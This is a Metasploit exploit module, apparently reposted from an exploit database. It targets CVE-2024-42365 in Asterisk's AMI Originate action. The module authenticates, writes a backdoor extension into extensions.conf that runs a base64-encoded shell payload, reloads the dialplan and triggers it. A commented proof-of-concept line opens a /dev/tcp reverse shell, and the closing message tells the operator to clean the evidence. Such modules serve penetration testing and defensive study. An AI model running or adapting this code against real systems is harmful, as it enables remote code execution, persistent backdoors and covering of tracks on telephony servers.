Share
## https://sploitus.com/exploit?id=PACKETSTORM:182935
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
include Msf::Exploit::Remote::Asterisk  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Asterisk AMI Originate Authenticated RCE',  
'Description' => %q{  
On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk  
versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change  
all configuration files in the '/etc/asterisk/' directory. Writing a new extension  
can be created which performs a system command to achieve RCE as the asterisk service  
user (typically asterisk).  
Default parking lot in FreePBX is called "Default lot" on the website interface,  
however its actually 'parkedcalls'.  
Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1.  
},  
'Author' => [  
'Brendan Coles <bcoles[at]gmail.com>', # lots of AMI command stuff  
'h00die', # msf module  
'NielsGaljaard' # discovery  
],  
'References' => [  
['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'],  
['CVE', '2024-42365']  
],  
'Platform' => 'unix',  
# leaving this for future travelers. I was still not getting 100% payload compatibility  
# so there seems to still be another character or two bad, but b64 fixed it.  
# 'Payload' => {  
# # ; is a comment in the extensions.conf file  
# 'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout  
# },  
  
# 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long)  
# `echo "" | base64 -d | sh` == 19 characters  
# chatGPT says 908 b64 encoded characters makes 681 pre-encoding.  
'Payload' => {  
'Space' => 681  
},  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_command  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => '2024-08-08',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE  
)  
)  
register_options [  
OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']),  
OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']),  
OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]),  
]  
register_advanced_options [  
OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]),  
]  
end  
  
def conn?  
vprint_status 'Connecting...'  
  
connect  
banner = sock.get_once  
  
unless banner =~ %r{Asterisk Call Manager/([\d.]+)}  
print_bad('Asterisk Call Manager does not appear to be running')  
return false  
end  
  
print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}"  
  
unless login(datastore['USERNAME'], datastore['PASSWORD'])  
print_bad('Authentication failed')  
return false  
end  
  
print_good 'Authenticated successfully'  
true  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
print_error e.message  
false  
end  
  
def check  
# why don't we check the version numbers?  
# we're connecting to Asterisk Call Manager, which seems to be a sub component  
# of asterisk and therefore the version numbers don't line up. For instance  
# Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso)  
# uses Asterisk Call Manager version 8.0.2.  
return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn?  
  
version = get_asterisk_version  
disconnect  
  
return CheckCode::Detected('Able to connect, unable to determine version') if !version  
if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) ||  
version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) ||  
version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) ||  
version.to_s.include?('cert') &&  
(  
version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) ||  
version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2'))  
)  
return Exploit::CheckCode::Appears("Exploitable version #{version} found")  
end  
  
return Exploit::CheckCode::Safe("Unexploitable version #{version} found")  
end  
  
def exploit  
fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn?  
  
new_context = rand_text_alpha(8..12)  
print_status("Using new context name: #{new_context}")  
  
print_status('Loading conf file')  
req = "Action: Originate\r\n"  
req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"  
req << "Application: SET\r\n"  
req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n"  
req << "\r\n"  
res = send_command req  
res = res.strip.gsub("\r\n", ', ')  
  
if res.include?('Response: Error')  
disconnect  
fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT")  
end  
vprint_good(" #{res}")  
# since commands are queued, sleeping 1 second is needed for the job to  
# execute. This is mentioned in the original writeup: "(you might need to take some time between them)."  
Rex.sleep(datastore['TIMEOUT'])  
  
print_status('Setting backdoor')  
req = "Action: Originate\r\n"  
req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"  
req << "Application: SET\r\n"  
# from the PoC  
# req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n"  
req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n"  
req << "\r\n"  
res = send_command req  
res = res.strip.gsub("\r\n", ', ')  
  
if res.include?('Response: Error')  
disconnect  
fail_with(Failure::UnexpectedReply, res)  
end  
vprint_good(" #{res}")  
Rex.sleep(datastore['TIMEOUT'])  
  
print_status('Reloading config')  
req = "Action: Originate\r\n"  
req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n"  
req << "Application: Reload\r\n"  
req << "Data: pbx_config\r\n"  
req << "\r\n"  
res = send_command req  
res = res.strip.gsub("\r\n", ', ')  
  
if res.include?('Response: Error')  
disconnect  
fail_with(Failure::UnexpectedReply, res)  
end  
vprint_good(" #{res}")  
Rex.sleep(datastore['TIMEOUT'])  
  
print_status('Triggering shellcode')  
req = "Action: Originate\r\n"  
req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n"  
req << "application: Verbose\r\n"  
req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n"  
req << "\r\n"  
send_command req  
  
disconnect  
end  
  
def on_new_session(client)  
super  
print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!")  
end  
end